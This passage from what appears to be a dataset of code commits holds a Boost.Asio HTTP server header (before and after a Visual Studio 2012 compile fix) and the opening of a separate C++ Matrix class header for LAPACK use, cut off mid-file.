\/\/request->streambuf.size() is not necessarily the same as bytes_transferred, from Boost-docs:\n                    \/\/\"After a successful async_read_until operation, the streambuf may contain additional data beyond the delimiter\"\n                    \/\/The chosen solution is to extract lines from the stream directly when parsing the header. What is left of the\n                    \/\/streambuf (maybe some bytes of the content) is appended to in the async_read-function below (for retrieving content).\n                    size_t num_additional_bytes=request->streambuf.size()-bytes_transferred;\n                    \n                    parse_request(request, request->content);\n                    \n                    \/\/If content, read that as well\n                    const auto it=request->header.find(\"Content-Length\");\n                    if(it!=request->header.end()) {\n                        \/\/Set timeout on the following boost::asio::async-read or write function\n                        std::shared_ptr<boost::asio::deadline_timer> timer;\n                        if(timeout_content>0)\n                            timer=set_timeout_on_socket(socket, timeout_content);\n                        unsigned long long content_length;\n                        try {\n                            content_length=stoull(it->second);\n                        }\n                        catch(const std::exception &e) {\n                            return;\n                        }\n                        boost::asio::async_read(*socket, request->streambuf, \n                                boost::asio::transfer_exactly(content_length-num_additional_bytes),\n                                [this, socket, request, timer]\n                                (const boost::system::error_code& ec, size_t \/*bytes_transferred*\/) {\n                            if(timeout_content>0)\n                                timer->cancel();\n                            if(!ec)\n                                find_resource(socket, request);\n                        });\n                    }\n                    else {\n                        find_resource(socket, request);\n                    }\n                }\n            });\n        }\n\n        void parse_request(std::shared_ptr<Request> request, std::istream& stream) const {\n            std::string line;\n            getline(stream, line);\n            size_t method_end;\n            if((method_end=line.find(' '))!=std::string::npos) {\n                size_t path_end;\n                if((path_end=line.find(' ', method_end+1))!=std::string::npos) {\n                    request->method=line.substr(0, method_end);\n                    request->path=line.substr(method_end+1, path_end-method_end-1);\n                    if((path_end+6)<line.size())\n                        request->http_version=line.substr(path_end+6, line.size()-(path_end+6)-1);\n                    else\n                        request->http_version=\"1.0\";\n\n                    getline(stream, line);\n                    size_t param_end;\n                    while((param_end=line.find(':'))!=std::string::npos) {\n                        size_t value_start=param_end+1;\n                        if((value_start)<line.size()) {\n                            if(line[value_start]==' ')\n                                value_start++;\n                            if(value_start<line.size())\n                                request->header.insert(std::make_pair(line.substr(0, param_end), line.substr(value_start, line.size()-value_start-1)));\n                        }\n    \n                        getline(stream, line);\n                    }\n                }\n            }\n        }\n\n        void find_resource(std::shared_ptr<socket_type> socket, std::shared_ptr<Request> request) {\n            \/\/Find path- and method-match, and call write_response\n            for(auto& res: opt_resource) {\n                if(request->method==res.first) {\n                    for(auto& res_path: res.second) {\n                        boost::smatch sm_res;\n                        if(boost::regex_match(request->path, sm_res, res_path.first)) {\n                            request->path_match=std::move(sm_res);\n                            write_response(socket, request, res_path.second);\n                            return;\n                        }\n                    }\n                }\n            }\n            auto it_method=default_resource.find(request->method);\n            if(it_method!=default_resource.end()) {\n                write_response(socket, request, it_method->second);\n            }\n        }\n        \n        void write_response(std::shared_ptr<socket_type> socket, std::shared_ptr<Request> request, \n                std::function<void(typename ServerBase<socket_type>::Response&, std::shared_ptr<typename ServerBase<socket_type>::Request>)>& resource_function) {\n            \/\/Set timeout on the following boost::asio::async-read or write function\n            std::shared_ptr<boost::asio::deadline_timer> timer;\n            if(timeout_content>0)\n                timer=set_timeout_on_socket(socket, request, timeout_content);\n\n            boost::asio::spawn(request->strand, [this, &resource_function, socket, request, timer](boost::asio::yield_context yield) {\n                Response response(*socket, yield);\n\n                try {\n                    resource_function(response, request);\n                }\n                catch(const std::exception& e) {\n                    return;\n                }\n                \n                if(response.size()>0) {\n                    try {\n                        response.flush();\n                    }\n                    catch(const std::exception &e) {\n                        return;\n                    }\n                }\n                if(timeout_content>0)\n                    timer->cancel();\n                float http_version;\n                try {\n                    http_version=stof(request->http_version);\n                }\n                catch(const std::exception &e) {\n                    return;\n                }\n                if(http_version>1.05)\n                    read_request_and_content(socket);\n            });\n        }\n    };\n    \n    template<class socket_type>\n    class Server : public ServerBase<socket_type> {};\n    \n    typedef boost::asio::ip::tcp::socket HTTP;\n    \n    template<>\n    class Server<HTTP> : public ServerBase<HTTP> {\n    public:\n        Server(unsigned short port, size_t num_threads=1, size_t timeout_request=5, size_t timeout_content=300) : \n                ServerBase<HTTP>::ServerBase(port, num_threads, timeout_request, timeout_content) {}\n        \n    private:\n        void accept() {\n            \/\/Create new socket for this connection\n            \/\/Shared_ptr is used to pass temporary objects to the asynchronous functions\n            std::shared_ptr<HTTP> socket(new HTTP(io_service));\n                        \n            acceptor.async_accept(*socket, [this, socket](const boost::system::error_code& ec){\n                \/\/Immediately start accepting a new connection\n                accept();\n                                \n                if(!ec) {\n                    boost::asio::ip::tcp::no_delay option(true);\n                    socket->set_option(option);\n                    \n                    read_request_and_content(socket);\n                }\n            });\n        }\n    };\n}\n#endif\t\/* SERVER_HTTP_HPP *\/\n<commit_msg>fixed vs2012 compile<commit_after>#ifndef SERVER_HTTP_HPP\n#define\tSERVER_HTTP_HPP\n\n#include <boost\/asio.hpp>\n#include <boost\/asio\/spawn.hpp>\n#include <boost\/regex.hpp>\n\n#include <unordered_map>\n#include <thread>\n#include <functional>\n#include <iostream>\n#include <sstream>\n\nnamespace SimpleWeb {\n    template <class socket_type>\n    class ServerBase {\n    public:\n        class Response : public std::ostream {\n            friend class ServerBase<socket_type>;\n        private:\n            boost::asio::yield_context& yield;\n            \n            boost::asio::streambuf streambuf;\n\n            socket_type &socket;\n            \n            Response(socket_type &socket, boost::asio::yield_context& yield):\n                    std::ostream(&streambuf), yield(yield), socket(socket) {}\n                        \n        public:\n            size_t size() {\n                return streambuf.size();\n            }\n            void flush() {\n                boost::system::error_code ec;\n                boost::asio::async_write(socket, streambuf, yield[ec]);\n                \n                if(ec)\n                    throw std::runtime_error(ec.message());\n            }\n        };\n        \n        class Content : public std::istream {\n            friend class ServerBase<socket_type>;\n        public:\n            size_t size() {\n                return streambuf.size();\n            }\n            std::string string() {\n                std::stringstream ss;\n                ss << rdbuf();\n                return ss.str();\n            }\n        private:\n            boost::asio::streambuf &streambuf;\n            Content(boost::asio::streambuf &streambuf): std::istream(&streambuf), streambuf(streambuf) {}\n        };\n        \n        class Request {\n            friend class ServerBase<socket_type>;\n        public:\n            std::string method, path, http_version;\n\n            Content content;\n\n            std::unordered_multimap<std::string, std::string> header;\n\n            boost::smatch path_match;\n            \n            std::string remote_endpoint_address;\n            unsigned short remote_endpoint_port;\n            \n        private:\n            Request(boost::asio::io_service &io_service): content(streambuf), strand(io_service) {}\n            \n            boost::asio::streambuf streambuf;\n            \n            boost::asio::strand strand;\n            \n            void read_remote_endpoint_data(socket_type& socket) {\n                try {\n                    remote_endpoint_address=socket.lowest_layer().remote_endpoint().address().to_string();\n                    remote_endpoint_port=socket.lowest_layer().remote_endpoint().port();\n                }\n                catch(const std::exception& e) {}\n            }\n        };\n        \n        class Config {\n            friend class ServerBase<socket_type>;\n        private:\n            Config(unsigned short port, size_t num_threads): port(port), num_threads(num_threads), reuse_address(true) {}\n            unsigned short port;\n            size_t num_threads;\n        public:\n            \/\/\/IPv4 address in dotted decimal form or IPv6 address in hexadecimal notation.\n            \/\/\/If empty, the address will be any address.\n            std::string address;\n            \/\/\/Set to false to avoid binding the socket to an address that is already in use.\n            bool reuse_address;\n        };\n        \/\/\/Set before calling start().\n        Config config;\n        \n        std::unordered_map<std::string, std::unordered_map<std::string, \n            std::function<void(typename ServerBase<socket_type>::Response&, std::shared_ptr<typename ServerBase<socket_type>::Request>)> > >  resource;\n        \n        std::unordered_map<std::string, \n            std::function<void(typename ServerBase<socket_type>::Response&, std::shared_ptr<typename ServerBase<socket_type>::Request>)> > default_resource;\n\n    private:\n        std::vector<std::pair<std::string, std::vector<std::pair<boost::regex,\n            std::function<void(typename ServerBase<socket_type>::Response&, std::shared_ptr<typename ServerBase<socket_type>::Request>)> > > > > opt_resource;\n        \n    public:\n        void start() {\n            \/\/Copy the resources to opt_resource for more efficient request processing\n            opt_resource.clear();\n            for(auto& res: resource) {\n                for(auto& res_method: res.second) {\n                    auto it=opt_resource.end();\n                    for(auto opt_it=opt_resource.begin();opt_it!=opt_resource.end();opt_it++) {\n                        if(res_method.first==opt_it->first) {\n                            it=opt_it;\n                            break;\n                        }\n                    }\n                    if(it==opt_resource.end()) {\n                        opt_resource.emplace_back();\n                        it=opt_resource.begin()+(opt_resource.size()-1);\n                        it->first=res_method.first;\n                    }\n                    it->second.emplace_back(boost::regex(res.first), res_method.second);\n                }\n            }\n\n            if(io_service.stopped())\n                io_service.reset();\n\n            boost::asio::ip::tcp::endpoint endpoint;\n            if(config.address.size()>0)\n                endpoint=boost::asio::ip::tcp::endpoint(boost::asio::ip::address::from_string(config.address), config.port);\n            else\n                endpoint=boost::asio::ip::tcp::endpoint(boost::asio::ip::tcp::v4(), config.port);\n            acceptor.open(endpoint.protocol());\n            acceptor.set_option(boost::asio::socket_base::reuse_address(config.reuse_address));\n            acceptor.bind(endpoint);\n            acceptor.listen();\n     \n            accept(); \n            \n            \/\/If num_threads>1, start m_io_service.run() in (num_threads-1) threads for thread-pooling\n            threads.clear();\n            for(size_t c=1;c<config.num_threads;c++) {\n                threads.emplace_back([this](){\n                    io_service.run();\n                });\n            }\n\n            \/\/Main thread\n            io_service.run();\n\n            \/\/Wait for the rest of the threads, if any, to finish as well\n            for(auto& t: threads) {\n                t.join();\n            }\n        }\n        \n        void stop() {\n            acceptor.close();\n            io_service.stop();\n        }\n\n    protected:\n        boost::asio::io_service io_service;\n        boost::asio::ip::tcp::acceptor acceptor;\n        std::vector<std::thread> threads;\n        \n        size_t timeout_request;\n        size_t timeout_content;\n        \n        ServerBase(unsigned short port, size_t num_threads, size_t timeout_request, size_t timeout_send_or_receive) : \n                config(port, num_threads), acceptor(io_service),\n                timeout_request(timeout_request), timeout_content(timeout_send_or_receive) {}\n        \n        virtual void accept()=0;\n        \n        std::shared_ptr<boost::asio::deadline_timer> set_timeout_on_socket(std::shared_ptr<socket_type> socket, size_t seconds) {\n            std::shared_ptr<boost::asio::deadline_timer> timer(new boost::asio::deadline_timer(io_service));\n            timer->expires_from_now(boost::posix_time::seconds(seconds));\n            timer->async_wait([socket](const boost::system::error_code& ec){\n                if(!ec) {\n                    boost::system::error_code ec;\n                    socket->lowest_layer().shutdown(boost::asio::ip::tcp::socket::shutdown_both, ec);\n                    socket->lowest_layer().close();\n                }\n            });\n            return timer;\n        }\n        \n        std::shared_ptr<boost::asio::deadline_timer> set_timeout_on_socket(std::shared_ptr<socket_type> socket, std::shared_ptr<Request> request, size_t seconds) {\n            std::shared_ptr<boost::asio::deadline_timer> timer(new boost::asio::deadline_timer(io_service));\n            timer->expires_from_now(boost::posix_time::seconds(seconds));\n            timer->async_wait(request->strand.wrap([socket](const boost::system::error_code& ec){\n                if(!ec) {\n                    boost::system::error_code ec;\n                    socket->lowest_layer().shutdown(boost::asio::ip::tcp::socket::shutdown_both, ec);\n                    socket->lowest_layer().close();\n                }\n            }));\n            return timer;\n        }\n        \n        void read_request_and_content(std::shared_ptr<socket_type> socket) {\n            \/\/Create new streambuf (Request::streambuf) for async_read_until()\n            \/\/shared_ptr is used to pass temporary objects to the asynchronous functions\n            std::shared_ptr<Request> request(new Request(io_service));\n            request->read_remote_endpoint_data(*socket);\n\n            \/\/Set timeout on the following boost::asio::async-read or write function\n            std::shared_ptr<boost::asio::deadline_timer> timer;\n            if(timeout_request>0)\n                timer=set_timeout_on_socket(socket, timeout_request);\n                        \n            boost::asio::async_read_until(*socket, request->streambuf, \"\\r\\n\\r\\n\",\n                    [this, socket, request, timer](const boost::system::error_code& ec, size_t bytes_transferred) {\n                if(timeout_request>0)\n                    timer->cancel();\n                if(!ec) {\n                    \/\/request->streambuf.size() is not necessarily the same as bytes_transferred, from Boost-docs:\n                    \/\/\"After a successful async_read_until operation, the streambuf may contain additional data beyond the delimiter\"\n                    \/\/The chosen solution is to extract lines from the stream directly when parsing the header. What is left of the\n                    \/\/streambuf (maybe some bytes of the content) is appended to in the async_read-function below (for retrieving content).\n                    size_t num_additional_bytes=request->streambuf.size()-bytes_transferred;\n                    \n                    parse_request(request, request->content);\n                    \n                    \/\/If content, read that as well\n                    const auto it=request->header.find(\"Content-Length\");\n                    if(it!=request->header.end()) {\n                        \/\/Set timeout on the following boost::asio::async-read or write function\n                        std::shared_ptr<boost::asio::deadline_timer> timer;\n                        if(timeout_content>0)\n                            timer=set_timeout_on_socket(socket, timeout_content);\n                        unsigned long long content_length;\n                        try {\n                            content_length=stoull(it->second);\n                        }\n                        catch(const std::exception &e) {\n                            return;\n                        }\n                        boost::asio::async_read(*socket, request->streambuf, \n                                boost::asio::transfer_exactly(content_length-num_additional_bytes),\n                                [this, socket, request, timer]\n                                (const boost::system::error_code& ec, size_t \/*bytes_transferred*\/) {\n                            if(timeout_content>0)\n                                timer->cancel();\n                            if(!ec)\n                                find_resource(socket, request);\n                        });\n                    }\n                    else {\n                        find_resource(socket, request);\n                    }\n                }\n            });\n        }\n\n        void parse_request(std::shared_ptr<Request> request, std::istream& stream) const {\n            std::string line;\n            getline(stream, line);\n            size_t method_end;\n            if((method_end=line.find(' '))!=std::string::npos) {\n                size_t path_end;\n                if((path_end=line.find(' ', method_end+1))!=std::string::npos) {\n                    request->method=line.substr(0, method_end);\n                    request->path=line.substr(method_end+1, path_end-method_end-1);\n                    if((path_end+6)<line.size())\n                        request->http_version=line.substr(path_end+6, line.size()-(path_end+6)-1);\n                    else\n                        request->http_version=\"1.0\";\n\n                    getline(stream, line);\n                    size_t param_end;\n                    while((param_end=line.find(':'))!=std::string::npos) {\n                        size_t value_start=param_end+1;\n                        if((value_start)<line.size()) {\n                            if(line[value_start]==' ')\n                                value_start++;\n                            if(value_start<line.size())\n                                request->header.insert(std::make_pair(line.substr(0, param_end), line.substr(value_start, line.size()-value_start-1)));\n                        }\n    \n                        getline(stream, line);\n                    }\n                }\n            }\n        }\n\n        void find_resource(std::shared_ptr<socket_type> socket, std::shared_ptr<Request> request) {\n            \/\/Find path- and method-match, and call write_response\n            for(auto& res: opt_resource) {\n                if(request->method==res.first) {\n                    for(auto& res_path: res.second) {\n                        boost::smatch sm_res;\n                        if(boost::regex_match(request->path, sm_res, res_path.first)) {\n                            request->path_match=std::move(sm_res);\n                            write_response(socket, request, res_path.second);\n                            return;\n                        }\n                    }\n                }\n            }\n            auto it_method=default_resource.find(request->method);\n            if(it_method!=default_resource.end()) {\n                write_response(socket, request, it_method->second);\n            }\n        }\n        \n        void write_response(std::shared_ptr<socket_type> socket, std::shared_ptr<Request> request, \n                std::function<void(typename ServerBase<socket_type>::Response&, std::shared_ptr<typename ServerBase<socket_type>::Request>)>& resource_function) {\n            \/\/Set timeout on the following boost::asio::async-read or write function\n            std::shared_ptr<boost::asio::deadline_timer> timer;\n            if(timeout_content>0)\n                timer=set_timeout_on_socket(socket, request, timeout_content);\n\n            boost::asio::spawn(request->strand, [this, &resource_function, socket, request, timer](boost::asio::yield_context yield) {\n                Response response(*socket, yield);\n\n                try {\n                    resource_function(response, request);\n                }\n                catch(const std::exception& e) {\n                    return;\n                }\n                \n                if(response.size()>0) {\n                    try {\n                        response.flush();\n                    }\n                    catch(const std::exception &e) {\n                        return;\n                    }\n                }\n                if(timeout_content>0)\n                    timer->cancel();\n                float http_version;\n                try {\n                    http_version=stof(request->http_version);\n                }\n                catch(const std::exception &e) {\n                    return;\n                }\n                if(http_version>1.05)\n                    read_request_and_content(socket);\n            });\n        }\n    };\n    \n    template<class socket_type>\n    class Server : public ServerBase<socket_type> {};\n    \n    typedef boost::asio::ip::tcp::socket HTTP;\n    \n    template<>\n    class Server<HTTP> : public ServerBase<HTTP> {\n    public:\n        Server(unsigned short port, size_t num_threads=1, size_t timeout_request=5, size_t timeout_content=300) : \n                ServerBase<HTTP>::ServerBase(port, num_threads, timeout_request, timeout_content) {}\n        \n    private:\n        void accept() {\n            \/\/Create new socket for this connection\n            \/\/Shared_ptr is used to pass temporary objects to the asynchronous functions\n            std::shared_ptr<HTTP> socket(new HTTP(io_service));\n                        \n            acceptor.async_accept(*socket, [this, socket](const boost::system::error_code& ec){\n                \/\/Immediately start accepting a new connection\n                accept();\n                                \n                if(!ec) {\n                    boost::asio::ip::tcp::no_delay option(true);\n                    socket->set_option(option);\n                    \n                    read_request_and_content(socket);\n                }\n            });\n        }\n    };\n}\n#endif\t\/* SERVER_HTTP_HPP *\/\n<|endoftext|>"}
{"text":"<commit_before>#ifndef TCM_MATRIX_HPP\n#define TCM_MATRIX_HPP\n\n\n#include <cassert>\n#include <complex>\n#include <memory>\n#include <type_traits>\n#include <algorithm>\n\n#include <boost\/align\/aligned_allocator_adaptor.hpp>\n\n#include <utils.hpp>\n#include <iterator.hpp>\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\file matrix.hpp\n\/\/\/ \\brief This file implements a Matrix class and some operations associated\n\/\/\/        with it.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nnamespace tcm {\n\n\n\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief A simple wrapper around the (data, ldim, width) representation\n\/\/\/        of matrices used in LAPACK. Uses column-major ordering.\n\n\/\/\/ This is a _container_ class in the sense that it manages its own memory.\n\/\/\/ Matrix class is meant to be used with LAPACK\/BLAS and thus focuses on\n\/\/\/ fundamental numeric types. There are two important differences\n\/\/\/ between this class and, for example, an %std::vector.\n\/\/\/ 1) As we plan to use matrices with LAPACK\/BLAS routines, it helps\n\/\/\/    (from the performance point of view) to correctly align our matrices.\n\/\/\/    From Intel MKL's manual:\n\/\/\/    > To improve performance of your application that calls Intel MKL, \n\/\/\/    > align your arrays on 64-byte boundaries and ensure that the leading \n\/\/\/    > dimensions of the arrays are divisible by 64\/element_size, where \n\/\/\/    > element_size is the number of bytes for the matrix elements \n\/\/\/    > (4 for single-precision real, 8 for double-precision real and \n\/\/\/    > single-precision complex, and 16 for double-precision complex). \n\/\/\/ 2) We don't initialise storage.\n\/\/\/\n\/\/\/ \\tparam _Tp Element type of the matrix.\n\/\/\/ \\tparam _Align Alignment. Must be a power of 2. This argument is used \n\/\/\/                for two things:\n\/\/\/                1) Allocation of storage that is aligned at least to _Alloc.\n\/\/\/                2) Computing the leading dimension of the matrix to ensure\n\/\/\/                   that `this->data(0, 1)` is again aligned to _Alloc.\n\/\/\/ \n\/\/\/                We use %boost::alignment::aligned_allocator_adaptor\n\/\/\/                for this.\n\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate< class _Tp\n        , std::size_t _Align = 64 \/\/ std::alignment_of<_Tp>::value\n        , class _Alloc = std::allocator<_Tp>\n        >\nclass Matrix {\n\nprivate:\n\t\/\/ using _Aligned_Alloc = _Alloc;\n\tusing _Aligned_Alloc = boost::alignment::\n\t\taligned_allocator_adaptor<_Alloc, _Align>;\n\tusing _Storage_type = utils::_Storage<_Tp, _Aligned_Alloc>;\n\n\tstatic_assert( (_Align != 0) and ((_Align & (_Align - 1)) == 0)\n\t             , \"_Align must be a power of 2\" );\n\tstatic_assert( _Align % std::alignment_of<_Tp>::value == 0\n\t             , \"Invalid alignment.\" );\n\npublic:\n\tusing value_type        = _Tp;\n\tusing reference         = typename _Storage_type::reference;\n\tusing const_reference   = typename _Storage_type::const_reference;\n\tusing pointer           = typename _Storage_type::pointer;\n\tusing const_pointer     = typename _Storage_type::const_pointer;\n\tusing size_type         = typename _Storage_type::size_type;\n\tusing difference_type   = typename _Storage_type::difference_type;\n\tusing allocator_type    = typename _Storage_type::allocator_type;\n\nprivate:\n\tsize_type       _height;\n\tsize_type       _width;\n\tsize_type       _ldim;\n\t_Storage_type   _storage;\n\n\tstatic constexpr auto round_up(size_type const n) -> size_type\n\t{\n\t\tconstexpr auto multiple = _Align \/ std::alignment_of<_Tp>::value;\n\t\treturn ((n + multiple - 1) \/ multiple) * multiple;\n\t}\n\npublic:\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Default constructor. \n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tMatrix()\n\t\tnoexcept(std::is_nothrow_default_constructible<_Storage_type>::value)\n\t\t: _height{ 0 }\n\t\t, _width{ 0 }\n\t\t, _ldim{ 0 }\n\t    , _storage{}\n\t{\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Move constructor.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tMatrix(Matrix && x)\n\t\tnoexcept(std::is_nothrow_move_constructible<_Storage_type>::value)\n\t\t: _height{ 0 }\n\t\t, _width{ 0 }\n\t\t, _ldim{ 0 }\n\t    , _storage{ std::move(x._storage) }\n\t{\n\t\tusing std::swap;\n\t\tswap(_height, x._height);\n\t\tswap(_width, x._width);\n\t\tswap(_ldim, x._ldim);\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Copy constructor.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tMatrix(Matrix const& x)\n\t\tnoexcept(std::is_nothrow_copy_constructible<_Storage_type>::value)\n\t\t: _height{ x._height }\n\t\t, _width{ x._width }\n\t\t, _ldim{ x._ldim }\n\t    , _storage{ x._storage }\n\t{\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Constructs a Matrix of given dimensions.\n\n\t\/\/\/ \\param height Height of the matrix, i.e. number of rows.\n\t\/\/\/ \\param width  Width of the matrix, i.e. number of columns.\n\t\/\/\/\n\t\/\/\/ \\sa Matrix(size_type const, size_type const, difference_type const).\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tMatrix(size_type const height, size_type const width)\n\t\t: _height{ height }\n\t\t, _width{ width }\n\t\t, _ldim{ height }\n\t\t\/\/ , _ldim{ round_up(height) }\n\t\t, _storage{ height * width }\n\t{\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Destructor.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t~Matrix()\n\t{\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Move assignment operator. \n\t\n\t\/\/\/ No copy assignment operator is provided\n\t\/\/\/ to make it less convenient to perform copies all the time.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tauto operator=(Matrix && other) noexcept -> Matrix &\n\t{ swap(*this, other);\n\t  return *this;\n\t}\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Returns the height of the matrix.\n\n\t\/\/\/ \\sa width(), ldim().\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto height() const noexcept -> size_type\n\t{ return _height; }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Returns the width of the matrix.\n\t\n\t\/\/\/ \\sa height(), ldim().\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto width() const noexcept -> size_type\n\t{ return _width; }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Returns the leading dimension of the matrix.\n\n\t\/\/\/ \\sa width(), height().\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto ldim() const noexcept -> size_type\n\t{ return _ldim; }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a const pointer to the underlying one-dimensional array\n\t\/\/\/ of elements.\n\n\t\/\/\/ \\sa data()\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto data() const noexcept -> const_pointer\n\t{ return _storage.data(); 